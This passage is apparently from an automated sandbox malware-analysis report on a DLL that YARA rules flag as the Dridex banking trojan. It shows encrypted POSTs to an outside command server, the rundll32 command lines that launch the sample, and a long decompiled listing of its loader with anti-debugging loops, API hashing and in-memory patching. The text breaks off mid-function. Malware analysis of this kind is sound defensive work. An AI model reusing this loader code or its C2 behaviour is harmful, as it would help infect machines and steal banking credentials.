2021-10-28 03:06:39 UTC	420	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:06:39 UTC	424	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:06:39 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49780	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:06 UTC	44	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:06 UTC	44	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:06 UTC	49	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:06 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 5856 Parent PID: 240

General

Start time:	05:02:36
Start date:	28/10/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.19803.dll'
Imagebase:	0x270000
File size:	893440 bytes
MD5 hash:	72FCD8FB0ADC38ED9050569AD673650E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000000.00000003.440875078.0000000001030000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 6508 Parent PID: 5856

General

Start time:	05:02:36
Start date:	28/10/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.19803.dll',#1
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6556 Parent PID: 5856

General

Start time:	05:02:37
Start date:	28/10/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.19803.dll,Bluewing
Imagebase:	0x8d0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000003.00000003.415782949.0000000000520000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6540 Parent PID: 6508

General

Start time:	05:02:37
Start date:	28/10/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.19803.dll',#1
Imagebase:	0x8d0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000004.00000003.417154756.0000000003200000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000004.00000002.869577587.000000006E651000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 3312 Parent PID: 5856

General

Start time:	05:02:41
Start date:	28/10/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.19803.dll,Earth
Imagebase:	0x8d0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000005.00000003.431444346.0000000004DA0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5364 Parent PID: 5856

General

Start time:	05:02:45
Start date:	28/10/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.19803.dll,Masterjust
Imagebase:	0x8d0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000006.00000003.439012632.0000000002D50000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 5856 Parent PID: 240 loaddll32.exeCOMMON

Executed Functions

Function 6E6551A7, Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 235
sleepCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E6E6551A7(void* __edi, signed int __esi) {
				void* _t190;
				signed int _t192;
				signed int _t198;
				signed int _t200;
				void* _t203;
				signed int _t211;
				signed int _t221;
				signed int _t222;
				signed int _t223;
				signed int _t224;
				signed int _t229;
				signed int _t230;
				signed int _t231;
				signed int _t232;
				signed int _t239;
				intOrPtr _t240;
				intOrPtr* _t244;
				void* _t259;
				void* _t269;
				intOrPtr _t272;
				signed int _t282;
				signed int _t286;
				void* _t301;
				intOrPtr* _t302;
				signed int _t305;
				unsigned int _t309;
				intOrPtr _t312;
				signed short* _t313;
				signed int _t316;
				signed int _t333;
				signed int _t334;
				signed int _t339;
				char* _t347;
				char _t349;
				signed int _t360;
				signed int _t361;
				void* _t362;
				void* _t363;
				void* _t364;
				signed int _t368;
				signed int _t369;
				signed int _t372;
				signed int _t373;
				void* _t378;
				signed int _t379;
				intOrPtr* _t434;
				intOrPtr* _t442;
				signed int _t457;
				signed int _t459;
				signed int _t462;
				signed int _t494;
				signed int _t496;
				intOrPtr* _t502;
				signed int _t503;
				signed int _t523;
				signed int _t527;
				void* _t532;
				signed int _t533;
				void* _t540;
				void* _t541;
				void* _t542;
				void* _t543;
				intOrPtr* _t544;
				intOrPtr* _t545;
				void* _t548;
				intOrPtr _t551;
				intOrPtr _t552;
				intOrPtr* _t553;

				_t530 = __esi;
				_t526 = __edi;
				E6E675CB0(_t553 + 0xdc, 3, 0x28, 0x64);
				_t361 = 0;
				_t540 = _t553 + 0x1e4;
				while(1) {
					E6E675CB0(_t540, 3, 0x14, 0x50);
					OutputDebugStringA( *(_t553 + 0x1e4));
					Sleep(0xa);
					E6E670B10(_t540);
					_t361 = _t361 + 1;
					if(_t361 >= 0xbebbe7c) {
						break;
					}
					while(_t361 >= 0x137b) {
						_t361 = _t361 + 1;
						if(_t361 < 0xbebbe7c) {
							continue;
						} else {
							OutputDebugStringA( *(_t553 + 0xd4));
						}
						goto L5;
					}
				}
				L5:
				_t362 = 0;
				_t541 = _t553 + 0x1ec;
				while(1) {
					E6E675CB0(_t541, 3, 0x14, 0x50);
					OutputDebugStringA( *(_t553 + 0x1ec));
					Sleep(0xa);
					E6E670B10(_t541);
					_t362 = _t362 + 1;
					if(_t362 >= 0xbebbe7c) {
						break;
					}
					while(_t362 >= 0x137b) {
						_t362 = _t362 + 1;
						if(_t362 < 0xbebbe7c) {
							continue;
						} else {
							OutputDebugStringA( *(_t553 + 0xd4));
						}
						goto L10;
					}
				}
				L10:
				_t363 = 0;
				_t542 = _t553 + 0x1f4;
				while(1) {
					E6E675CB0(_t542, 3, 0x14, 0x50);
					OutputDebugStringA( *(_t553 + 0x1f4));
					Sleep(0xa);
					E6E670B10(_t542);
					_t363 = _t363 + 1;
					if(_t363 >= 0xbebbe7c) {
						break;
					}
					while(_t363 >= 0x137b) {
						_t363 = _t363 + 1;
						if(_t363 < 0xbebbe7c) {
							continue;
						} else {
							OutputDebugStringA( *(_t553 + 0xd4));
						}
						goto L15;
					}
				}
				L15:
				_t364 = 0;
				_t543 = _t553 + 0x1fc;
				while(1) {
					E6E675CB0(_t543, 3, 0x14, 0x50);
					OutputDebugStringA( *(_t553 + 0x1fc));
					Sleep(0xa);
					E6E670B10(_t543);
					_t364 = _t364 + 1;
					if(_t364 >= 0xbebbe7c) {
						break;
					}
					while(_t364 >= 0x137b) {
						_t364 = _t364 + 1;
						if(_t364 < 0xbebbe7c) {
							continue;
						} else {
							OutputDebugStringA( *(_t553 + 0xd4));
						}
						goto L20;
					}
				}
				L20:
				E6E670B10(_t553 + 0xd4);
				_push(0x755aa3f0);
				if(E6E667560() != 0) {
					_t347 = E6E6615C0(0x588ab3ea, 0x1be15feb);
					if( *_t347 == 0xe9) {
						_t149 =  *((intOrPtr*)(_t347 + 1)) + 5; // 0x5
						_t378 = _t347 + _t149;
						_t494 = E6E6615C0(0x588ab3ea, 0x3b4caff7);
						__eflags = _t494;
						if(_t494 == 0) {
							L137:
							_t551 =  *0x6e689414; // 0x3f7883
							_t349 =  *0x6e68941a; // -16
							 *((intOrPtr*)(_t553 + 0xdc)) = _t551;
							 *((short*)(_t553 + 0xe0)) =  *0x6e689418 & 0x0000ffff;
							 *((char*)(_t553 + 0xe2)) = _t349;
							_t530 =  *(_t553 + 0x6c);
							_t552 =  *((intOrPtr*)(_t553 + 0x78));
							while(1) {
								_push(0x3f);
								_push(7);
								_push(_t553 + 0xe4);
								_t379 = E6E660DA0(_t530, _t552);
								__eflags = _t379;
								if(_t379 == 0) {
									goto L23;
								}
								 *(_t553 + 0xec) = _t379;
								 *((intOrPtr*)(_t553 + 0xf0)) = 0x10;
								_t552 = _t552 -  ~_t530 + _t379 + 7;
								 *((intOrPtr*)(_t553 + 0xf4)) = 0x40;
								_t160 = _t379 + 7; // 0x7
								_t530 = _t160;
								_t496 = E6E6615C0(0x588ab3ea, 0x649746ec);
								__eflags = _t496;
								if(_t496 != 0) {
									_t526 = _t553 + 0xf0;
									 *_t496(0xffffffff, _t553 + 0xec, _t553 + 0xf0,  *((intOrPtr*)(_t553 + 0xf8)), _t553 + 0xf4);
								}
								 *((char*)(_t379 + 5)) = 0x90;
								 *((char*)(_t379 + 4)) = 0x90;
								_t523 = E6E6615C0(0x588ab3ea, 0x649746ec);
								__eflags = _t523;
								if(_t523 != 0) {
									_t526 = _t553 + 0xec;
									 *_t523(0xffffffff, _t553 + 0xec, _t553 + 0xf0,  *((intOrPtr*)(_t553 + 0xf8)), _t553 + 0xf4);
								}
							}
							goto L23;
						} else {
							_t360 =  *_t494(0xffffffff, _t378, 0, _t553 + 0x6c, 0x1c, 0);
							__eflags = _t360;
							if(_t360 != 0) {
								goto L23;
							} else {
								goto L137;
							}
						}
						L143:
					}
				}
				L23:
				E6E651270(_t526, _t530);
				 *((intOrPtr*)(_t553 + 0x12c)) = 0x2800;
				_push(0x2800);
				E6E679350(_t553 + 0xfc);
				_t544 = E6E679640(_t553 + 0xfc, 0);
				_t502 = E6E6615C0(0xd93f3271, 0xa1ee59b);
				if(_t502 != 0) {
					 *_t502(_t544, _t553 + 0x12c); // executed
				}
				if(_t544 != 0) {
					_t530 = 0x4b005452;
					do {
						if(( *((intOrPtr*)(_t544 + 0x194)) - _t530 | ( *(_t544 + 0x198) & 0x0000ffff) - 0x000031a1) == 0) {
							L6E655150();
						}
						_t544 =  *_t544;
					} while (_t544 != 0);
				}
				E6E679510(_t553 + 0xf8);
				E6E668810(_t553 + 0x108, 0);
				 *0x6e68b1c8 = _t553 + 0x108;
				_t190 = E6E6615C0(0xa1310f65, 0xe10858ef);
				if(_t190 == 0) {
					__eflags = 0;
					_t192 = E6E6615C0(0x1b47f147, 0x4c00b324);
					__eflags = _t192;
					if(_t192 == 0) {
						 *0x6e68b1d0 = 0;
						_t545 = E6E663930(0, 0, _t526, _t530);
						__eflags =  *_t545 - 0x10;
						if( *_t545 < 0x10) {
							L6E655150();
						}
						E6E656020(0);
						E6E668810(_t553 + 0x114, 0x200);
						_t503 = E6E6615C0(0xa1310f65, 0xc4d11e8a);
						__eflags = _t503;
						if(_t503 != 0) {
							_t339 =  *(_t553 + 0x114) >> 1;
							__eflags = _t339;
							 *_t503(0,  *(_t553 + 0x114), _t339);
						}
						E6E662580(_t553 + 0x118, _t526, _t530);
						_t198 = E6E669C70(_t553 + 0x114, _t526,  *((intOrPtr*)(_t553 + 0x118)));
						__eflags = _t198;
						if(_t198 == 0) {
							E6E662780(_t553 + 0xe4, _t526, _t530);
							_t200 = E6E669C70(_t553 + 0x114, _t526,  *((intOrPtr*)(_t553 + 0xe4)));
							__eflags = _t200;
							if(_t200 == 0) {
								E6E662580(_t553 + 0xb4, _t526, _t530);
								_t530 = _t553 + 0x98;
								E6E66D980(_t553 + 0xbc, _t553 + 0x98, 0x5c);
								_t203 = E6E677600(_t553 + 0x98, 2);
								E6E65AC00(_t553 + 0xbc, 6);
								E6E668CC0(_t203,  *((intOrPtr*)(_t553 + 0xbc)));
								E6E668CA0(_t553 + 0xbc);
								E6E6789F0(_t530, _t553 + 0x124, 0x5c);
								E6E678910(_t530, _t526, _t530);
								E6E668CA0(_t553 + 0xb4);
								_t211 = E6E669C70(_t553 + 0x114, _t526,  *((intOrPtr*)(_t553 + 0x120)));
								__eflags = _t211;
								_t46 = _t211 > 0;
								__eflags = _t46;
								_t368 = 0 | _t46;
								E6E668CA0(_t553 + 0x120);
							} else {
								_t368 = 1;
							}
							E6E668CA0(_t553 + 0xe4);
							E6E668CA0(_t553 + 0x118);
							__eflags = _t368;
							if(_t368 == 0) {
								_t369 = 0;
								__eflags = 0;
							} else {
								goto L46;
							}
						} else {
							E6E668CA0(_t553 + 0x118);
							L46:
							_t369 = 1;
						}
						E6E65AC00(_t553 + 0x120, 2);
						E6E66D980(_t553 + 0x128, _t553 + 0x130, 0x7e);
						E6E668CA0(_t553 + 0x120);
						__eflags =  *(_t553 + 0x130);
						if( *(_t553 + 0x130) > 0) {
							 *_t553 = _t545;
							__eflags = 0;
							_t527 = _t553 + 0x130;
							while(1) {
								L50:
								_t333 = E6E6615C0(0xa1310f65, 0xf3af54a7);
								__eflags = _t333;
								if(_t333 != 0) {
									LoadLibraryW( *(E6E677600(_t527, _t530))); // executed
								}
								_t334 =  *(_t553 + 0x130);
								while(1) {
									L53:
									_t530 = 1;
									__eflags = 1 - _t334;
									if(1 >= _t334) {
										break;
									}
									__eflags = 1 - 4;
									if(1 != 4) {
										goto L50;
									} else {
										_t506 =  *0x6e68b02a & 0x000000ff;
										__eflags = ( *0x6e68b02a & 0x000000ff) - 2;
										if(( *0x6e68b02a & 0x000000ff) == 2) {
											continue;
										} else {
											while(1) {
												L50:
												_t333 = E6E6615C0(0xa1310f65, 0xf3af54a7);
												__eflags = _t333;
												if(_t333 != 0) {
													LoadLibraryW( *(E6E677600(_t527, _t530))); // executed
												}
												_t334 =  *(_t553 + 0x130);
												goto L53;
											}
										}
									}
									goto L58;
								}
								_t545 =  *_t553;
								goto L58;
							}
						}
						L58:
						__eflags =  *((intOrPtr*)(_t545 + 0x2c)) - 2;
						if( *((intOrPtr*)(_t545 + 0x2c)) != 2) {
							__eflags =  *0x6e68b028 & 0x000000ff;
							if(( *0x6e68b028 & 0x000000ff) == 0) {
								__eflags =  *0x6e68b265 & 0x000000ff;
								if(( *0x6e68b265 & 0x000000ff) == 0) {
									__eflags =  *0x6e68b1cc - 1;
									if( *0x6e68b1cc != 1) {
										_t312 =  *0x6e68b1d0; // 0x10f0748
										_t313 =  *(_t312 + 4);
										_t506 =  *_t313 & 0x0000ffff;
										__eflags = ( *_t313 & 0x0000ffff) - 0x2d;
										if(( *_t313 & 0x0000ffff) != 0x2d) {
											E6E668AB0(_t553 + 0xcc, _t313, 0);
											_push(0x80);
											_push(0);
											E6E67A4E0(_t553 + 0x68, __eflags,  *((intOrPtr*)(_t553 + 0xd0)), 1);
											_t316 = E6E67BEA0(_t553 + 0x64, _t506, _t530);
											__eflags = _t316;
											if(_t316 == 0) {
												__eflags =  *((char*)(_t553 + 0x68));
												if( *((char*)(_t553 + 0x68)) != 0) {
													E6E67BE30(_t553 + 0x64, _t530);
												}
												E6E668CA0(_t553 + 0x58);
												_t533 = 0;
												__eflags = 0;
												while(1) {
													__eflags = E6E67A730(_t553 + 0xc4, _t506);
													if(__eflags == 0) {
														break;
													}
													E6E6622A0(0x64, _t506);
													_t533 = _t533 + 1;
													__eflags = _t533 - 0x64;
													if(__eflags < 0) {
														continue;
													}
													break;
												}
												_t530 = _t553 + 0xcc;
												do {
													E6E66AE80(_t553 + 0xcc, __eflags, _t530, 0x5c);
													E6E668CC0(_t553 + 0xc8,  *(_t553 + 0xcc));
													E6E668CA0(_t530);
													__eflags = E6E67A730(_t553 + 0xc4, _t506);
												} while (__eflags == 0);
											} else {
												__eflags =  *((char*)(_t553 + 0x68));
												if( *((char*)(_t553 + 0x68)) != 0) {
													E6E67BE30(_t553 + 0x64, _t530);
												}
												E6E668CA0(_t553 + 0x58);
											}
											E6E668CA0(_t553 + 0xc4);
										}
									}
								}
							}
							__eflags = ( *0x6e68b02a & 0x000000ff) - 2;
							if(( *0x6e68b02a & 0x000000ff) == 2) {
								L87:
								_t221 =  *0x6e68b1ad; // 0xf2a3f8
								__eflags = _t221;
								if(_t221 == 0) {
									L89:
									_t222 =  *0x6e68b1ad; // 0xf2a3f8
									__eflags = _t222;
									if(_t222 == 0) {
										_push(0x10);
										_t223 = E6E661030();
										_t553 = _t553 + 4;
										__eflags = _t223;
										if(_t223 != 0) {
											_push(0);
											_t224 = E6E679350(_t223);
										} else {
											_t224 = 0;
										}
										 *0x6e68b1ad = _t224;
									}
									_t530 =  *0x6e68b1ad; // 0xf2a3f8
									__eflags = ( *0x6e68b02a & 0x000000ff) - 1;
									if(( *0x6e68b02a & 0x000000ff) == 1) {
										_t506 = 0x18f8c844;
										_t527 = _t553 + 0x28;
										E6E656AD0(_t369, _t527, 0x18f8c844, _t527, _t530, 1, 0);
										_push(_t527);
										E6E679520(_t530);
										E6E679510(_t527);
									} else {
										E6E679710(_t530, 0x6e68b02d,  *0x6e68b02b & 0x0000ffff);
									}
								} else {
									_t459 =  *0x6e68b1ad; // 0xf2a3f8
									_t286 = E6E679660(_t459);
									__eflags = _t286;
									if(_t286 != 0) {
										goto L89;
									}
								}
								_t229 =  *0x6e68b1b1; // 0x0
								__eflags = _t229;
								if(_t229 == 0) {
									L95:
									_t230 =  *0x6e68b1b1; // 0x0
									__eflags = _t230;
									if(_t230 == 0) {
										_push(0x10);
										_t231 = E6E661030();
										_t553 = _t553 + 4;
										__eflags = _t231;
										if(_t231 != 0) {
											_push(0);
											_t232 = E6E679350(_t231);
										} else {
											_t232 = 0;
										}
										 *0x6e68b1b1 = _t232;
									}
									_t527 =  *0x6e68b1b1; // 0x0
									__eflags = ( *0x6e68b02a & 0x000000ff) - 1;
									if(( *0x6e68b02a & 0x000000ff) == 1) {
										_t506 = 0x11041f01;
										E6E656AD0(_t369, _t553 + 0x38, 0x11041f01, _t527, _t530, 1, 1);
										_push(_t553 + 0x38);
										E6E679520(_t527);
										E6E679510(_t553 + 0x38);
										_t239 = E6E679650(_t527);
										__eflags = _t239;
										if(_t239 != 0) {
											_t506 = 0xd3ef7577;
											E6E656AD0(_t369, _t553 + 8, 0xd3ef7577, _t527, _t530, 0, 0);
											E6E679510(_t553);
										}
									} else {
										_t530 =  *0x6e68b1c4; // 0x6e650000
										__eflags =  *((char*)(E6E663930(_t369, 0, _t527, _t530) + 0xb)) - 0x20;
										_t515 =  ==  ? 0x7e839a6 : 0x93fc68d6;
										_t506 = _t530;
										E6E659090(_t553 + 0x88, _t530,  ==  ? 0x7e839a6 : 0x93fc68d6);
										_push(_t553 + 0x88);
										E6E679520(_t527);
										E6E679510(_t553 + 0x88);
									}
								} else {
									_t457 =  *0x6e68b1b1; // 0x0
									_t282 = E6E679660(_t457);
									__eflags = _t282;
									if(_t282 != 0) {
										goto L95;
									}
								}
								_t240 =  *((intOrPtr*)(_t545 + 0x2c));
								__eflags = _t240 - 3;
								if(_t240 == 3) {
									__eflags =  *0x6e68b1cc - 3;
									if( *0x6e68b1cc == 3) {
										E6E668CC0(_t553 + 0x10c,  *((intOrPtr*)( *0x6e68b1d0 + 8)));
									}
									_t370 = _t553 + 0x48;
									E6E668810(_t553 + 0x48, 0);
									_t244 = E6E669890(_t370, _t553 + 0x48, _t506, _t527, _t530, _t370, 0x6e689428,  *((intOrPtr*)(_t545 + 0x2c)));
									E6E670220(_t553 + 0x110,  *_t244, 0);
									E6E668CA0(_t370);
									L6E658180(_t530);
								} else {
									__eflags = _t240 - 5;
									if(_t240 != 5) {
										__eflags = _t240 - 6;
										if(__eflags == 0) {
											_t434 = _t553 + 0xa4;
											 *_t434 = 0;
											 *((intOrPtr*)(_t434 + 4)) = 0;
											 *((intOrPtr*)(_t434 + 8)) = 0;
											 *((intOrPtr*)(_t434 + 0xc)) = 0;
											L6E665B60(_t369, _t434, _t527, _t530, __eflags);
											E6E656740(_t553 + 0xa4);
											E6E661350(0x12);
											__eflags =  *(_t553 + 0xa8);
											if( *(_t553 + 0xa8) > 0) {
												_t372 = 0;
												__eflags = 0;
												do {
													_t259 = E6E682B00(_t553 + 0xa8, _t372);
													__eflags =  *((char*)(_t259 + 0x3c));
													if( *((char*)(_t259 + 0x3c)) == 0) {
														E6E652A40(_t553 + 0x50, _t259);
														E6E668CA0(_t553 + 0x50);
													}
													_t372 = _t372 + 1;
													__eflags = _t372 -  *(_t553 + 0xa8);
												} while (_t372 <  *(_t553 + 0xa8));
											}
											E6E682970(_t369, _t553 + 0xa4, _t527);
											_t438 =  *(_t553 + 0xb0);
											__eflags =  *(_t553 + 0xb0);
											if( *(_t553 + 0xb0) != 0) {
												E6E652A20(_t438, 1);
											}
										}
									} else {
										__eflags = _t369;
										if(_t369 == 0) {
											__eflags =  *0x6e68b1cc - 1;
											if(__eflags <= 0) {
												L104:
												_t442 = _t553 + 0x18;
												 *_t442 = 0;
												 *((intOrPtr*)(_t442 + 4)) = 0;
												 *((intOrPtr*)(_t442 + 8)) = 0;
												 *((intOrPtr*)(_t442 + 0xc)) = 0;
												L6E665B60(_t369, _t442, _t527, _t530, __eflags);
												__eflags = ( *0x6e68b029 & 0x000000ff) - 1;
												E6E657DB0(_t553 + 0x18, 0 | ( *0x6e68b029 & 0x000000ff) - 0x00000001 > 0x00000000);
												__eflags =  *0x6e68b029 & 0x000000ff;
												if(( *0x6e68b029 & 0x000000ff) != 0) {
													E6E661350(0x12);
													__eflags =  *(_t553 + 0x1c);
													if( *(_t553 + 0x1c) > 0) {
														_t373 = 0;
														__eflags = 0;
														do {
															_t269 = E6E682B00(_t553 + 0x1c, _t373);
															__eflags =  *((char*)(_t269 + 0x3c));
															if( *((char*)(_t269 + 0x3c)) == 0) {
																E6E652A40(_t553 + 0x10, _t269);
																E6E668CA0(_t553 + 0x10);
															}
															_t373 = _t373 + 1;
															__eflags = _t373 -  *(_t553 + 0x1c);
														} while (_t373 <  *(_t553 + 0x1c));
													}
												}
												E6E682970(_t369, _t553 + 0x18, _t527);
												_t445 =  *(_t553 + 0x24);
												__eflags =  *(_t553 + 0x24);
												if( *(_t553 + 0x24) != 0) {
													E6E652A20(_t445, 1);
												}
											} else {
												_t272 =  *0x6e68b1d0; // 0x10f0748
												__eflags = ( *( *(_t272 + 4)) & 0x0000ffff) - 0x2d;
												if(__eflags != 0) {
													goto L104;
												}
											}
										}
									}
								}
								E6E678910(_t553 + 0x130, _t527, _t530);
								E6E668CA0(_t553 + 0x110);
								E6E668CA0(_t553 + 0x108);
								E6E667A70(_t553 + 0x128);
								__eflags = 0;
								return 0;
							} else {
								__eflags =  *0x6e68b027 & 0x000000ff;
								if(( *0x6e68b027 & 0x000000ff) == 0) {
									goto L87;
								} else {
									__eflags = _t369;
									if(_t369 != 0) {
										goto L87;
									} else {
										__eflags =  *((char*)(_t545 + 0xb)) - 0x20;
										_t517 =  ==  ? 0x7fe7dfa2 : 0xfd81b916;
										E6E6561B0(_t553 + 0x3c,  ==  ? 0x7fe7dfa2 : 0xfd81b916,  *((char*)(_t545 + 0xb)) - 0x20);
										E6E668810(_t553 + 0x18, 0x200);
										_t462 = E6E6615C0(0xa1310f65, 0xc4d11e8a);
										__eflags = _t462;
										if(__eflags != 0) {
											_t309 =  *(_t553 + 0x18) >> 1;
											__eflags = _t309;
											_t517 =  *0x6e68b1c4; // 0x6e650000
											 *_t462(_t517,  *(_t553 + 0x18), _t309);
										}
										_push(0x80);
										_push(0);
										E6E67A4E0(_t553 + 0x10, __eflags,  *((intOrPtr*)(_t553 + 0x20)), 1);
										E6E67A520(_t553 + 8, _t517, _t553 + 0x1c, 0);
										__eflags =  *((char*)(_t553 + 0x10));
										if( *((char*)(_t553 + 0x10)) != 0) {
											E6E67BE30(_t553 + 0xc, _t530);
										}
										__eflags = 0;
										E6E668CA0(_t553);
										_t532 = _t553 + 0x1a0;
										_t548 = _t553 + 0x2c;
										while(1) {
											E6E660B70(_t532, 0, 0x44);
											 *((intOrPtr*)(_t553 + 0x1ac)) = 0x44;
											E6E660B70(_t548, 0, 0x10);
											_t553 = _t553 + 0x18;
											E6E668810(_t553 + 0x4c, 0);
											_t301 = E6E6696D0(E6E6696D0(E6E670220(_t553 + 0x50,  *((intOrPtr*)(_t553 + 0x40)), 0), 0x20), 0x22);
											_t302 =  *0x6e68b1d0; // 0x10f0748
											E6E6696D0(E6E670220(_t301,  *_t302, 0), 0x22);
											_t305 = E6E6615C0(0xa1310f65, 0x643f303c);
											__eflags = _t305;
											if(_t305 != 0) {
												break;
											}
											E6E668CA0(_t553 + 0x48);
										}
										_push(_t548);
										_push(_t532);
										_push(0);
										_push(0);
										_push(4);
										_push(0);
										_push(0);
										_push(0);
										_push( *((intOrPtr*)(_t553 + 0x68)));
										_push( *((intOrPtr*)(_t553 + 0x60)));
										asm("int3");
										return _t305;
									}
								}
							}
						} else {
							E6E678910(_t553 + 0x130, _t526, _t530);
							E6E668CA0(_t553 + 0x110);
							E6E668CA0(_t553 + 0x108);
